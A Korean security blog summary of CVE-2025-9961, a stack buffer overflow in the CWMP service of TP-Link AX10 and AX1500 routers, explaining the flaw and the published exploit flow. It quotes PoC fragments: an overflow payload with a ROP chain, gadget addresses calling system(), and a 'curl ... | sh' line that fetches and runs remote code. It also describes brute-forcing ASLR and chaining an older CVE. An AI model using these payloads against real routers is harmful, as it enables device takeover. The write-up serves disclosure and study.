[하루한줄] CVE-2025-9961 : TP-Link AX10, AX1500의 CWMP 바이너리에서 발생한 stack buffer overflow로 인한 임의 코드 실행 취약점
URL
- https://blog.byteray.co.uk/exploiting-zero-day-cve-2025-9961-in-the-tp-link-ax10-router-8745f9af9c46
Target
- TP-Link AX10: Firmware < v1.2.1
- TP-Link AX1500: Firmware < 1.3.12
Explain
CVE-2025-9961는 TP-Link의 AX10, AX1500 라우터의 CWMP 바이너리에서 발견된 Stack Buffer Overflow 취약점입니다. CWMP는 ACS(자동 구성 서버)에서 SOAP/XML 메시지를 받아 장비를 원격 관리하는데, 특정 파라미터 값에 대한 길이 검증이 부족하여 스택 버퍼 오버플로우가 발생합니다.
CWMP(CPE WAN Management Protocol)
TR-069 규약에 따라 CPE(Consumer-premises Equipment)를 원격 관리하기 위한 프로토콜입니다. 라우터, 모뎀, 셋톱박스 등 가정용 장비가 ISP의 ACS 서버와 통신할 때 주로 사용됩니다.
공개된 PoC와 Exploit의 흐름을 요약하면 다음과 같습니다.
- 커스텀 ACS 설정: 맞춤형 ACS 서버를 구축하고, 타겟 장비가 해당 서버를 신뢰하도록 설정합니다.
Payload 작성: SOAP/XML request 메시지 안에 buffer overflow를 트리거할 payload 포함시켜 CWMP로 전송합니다.
# poc.py ... stack_buffer_size = 3108 rop = ROP(elf) rop.raw("A" * 3108 + "XXXX") payload_array = [ { "name": "setParameterValues", "parameterValues": [ [ "InternetGatewayDevice.DeviceInfo.ProvisioningCode", rop.chain().decode("ascii"), "xsd:string", ] ], } ] ...
payload는 펌웨어에 NX bit 보호기법이 적용되어있으며 이를 우회하기 위해 payload는 ROP 체인을 사용해 이를 우회합니다.
# exploit.py buf = b"" buf+= p32(0xb6d7d730) # pop {r0,pc} buf+= p32(0xb6a88d90) # 명령(command) 문자열 위치 buf+= p32(0xb6ca96c8) # system() 함수 주소 buf+= b"curl http://" + LOCAL_IP.encode() + b":8000/show | sh"
Stack Buffer Overflow: CWMP가 payload가 포함된 파라미터를 처리하면서 길이를 검증하지 않아 정해진 스택 값을 넘어 데이터가 쓰여지며 전달된 payload가 실행됩니다.
타겟 펌웨어에는 NX bit 뿐 아니라 ASLR 보호기법이 적용되어 있기 때문에 해당 취약점을 트리거 하기 위해서는 정확한 libc base가 필요합니다.
취약점을 공개한 theByteRay는 ASLR의 엔트로피가 낮다고 판단하여 brute force 방식으로 libc base를 유추하여 우회하였습니다. 다만, cwmp에 payload를 전달할 때 잘못된 libc base 주소를 전달할 경우 프로세스가 종료되기 때문에 CVE-2023-1389 와 같은 one-day 취약점을 이용해 웹 관리자 페이지 접속 권한을 얻었다는 것을 전제로 합니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.